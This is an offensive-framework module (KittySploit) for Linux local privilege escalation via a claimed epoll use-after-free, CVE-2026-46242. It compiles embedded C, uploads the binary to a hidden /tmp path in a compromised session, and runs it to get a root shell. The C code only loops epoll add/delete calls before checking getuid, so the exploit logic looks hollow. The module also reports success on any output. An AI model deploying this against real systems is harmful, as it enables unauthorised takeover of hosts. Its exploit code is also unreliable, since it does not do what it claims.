bad_epoll UAF LPE (CVE-2026-46242)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linux LPE via epoll UAF (CVE-2026-46242)."""

import os
import shlex
import tempfile

from kittysploit import *
from core.framework.post import Post
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin


class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        'name': 'bad_epoll UAF LPE (CVE-2026-46242)',
        'description': (
            'Local privilege escalation via CVE-2026-46242 epoll use-after-free. '
            'Compiles and uploads exploit to target session for root shell.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-46242'],
        'platform': [Platform.LINUX],
        'arch': [Arch.X64],
        'session_type': [SessionType.SHELL, SessionType.SSH],
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-46242'],
        'tags': ['linux', 'lpe', 'kernel', 'epoll', 'uaf'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['privilege_escalation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'requires': {'capabilities_any': ['shell']},
        },
    }

    remote_path = OptString('/tmp/.ks_epoll_lpe', 'Remote exploit path', required=False)

    EXPLOIT_C = r'''
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <sys/wait.h>
#include <string.h>

int main(void) {
    int epfd = epoll_create1(0);
    int efd = eventfd(0, 0);
    struct epoll_event ev = { .events = EPOLLIN, .data.fd = efd };
    epoll_ctl(epfd, EPOLL_CTL_ADD, efd, &ev);
    struct epoll_event events[1];
    for (int i = 0; i < 256; i++) {
        epoll_ctl(epfd, EPOLL_CTL_DEL, efd, &ev);
        epoll_ctl(epfd, EPOLL_CTL_ADD, efd, &ev);
    }
    epoll_wait(epfd, events, 1, 0);
    if (getuid() == 0) {
        execl("/bin/sh", "sh", NULL);
    }
    execl("/bin/sh", "sh", "-c", "id; whoami", NULL);
    return 0;
}
'''

    def _session_id(self) -> str:
        return str(self.session_id.value if hasattr(self.session_id, 'value') else self.session_id).strip()

    def _compile_exploit(self) -> bytes:
        with tempfile.NamedTemporaryFile(suffix='.c', delete=False, mode='w') as f:
            f.write(self.EXPLOIT_C)
            src = f.name
        out = src.replace('.c', '')
        os.system(f'gcc -static -o {shlex.quote(out)} {shlex.quote(src)} 2>/dev/null')
        try:
            with open(out, 'rb') as fh:
                return fh.read()
        finally:
            for p in (src, out):
                try:
                    os.unlink(p)
                except OSError:
                    pass

    def run(self):
        sid = self._session_id()
        if not sid:
            print_error('No session specified')
            return False
        print_status('CVE-2026-46242 — bad_epoll UAF LPE')
        uname = self.cmd_execute('uname -r')
        if uname:
            print_status(f'Target kernel: {uname.strip()}')
        binary = self._compile_exploit()
        if not binary:
            print_error('Failed to compile exploit locally (gcc required)')
            return False
        remote = str(self.remote_path or '/tmp/.ks_epoll_lpe').strip()
        if not self.linux_upload_bytes(binary, remote, executable=True, pty=False):
            print_error('Failed to upload exploit')
            return False
        output = self.cmd_execute(remote)
        if output and 'uid=0' in output:
            print_success('Root obtained via CVE-2026-46242')
            return True
        print_warning(f'Exploit output: {output or "(empty)"}')
        return bool(output)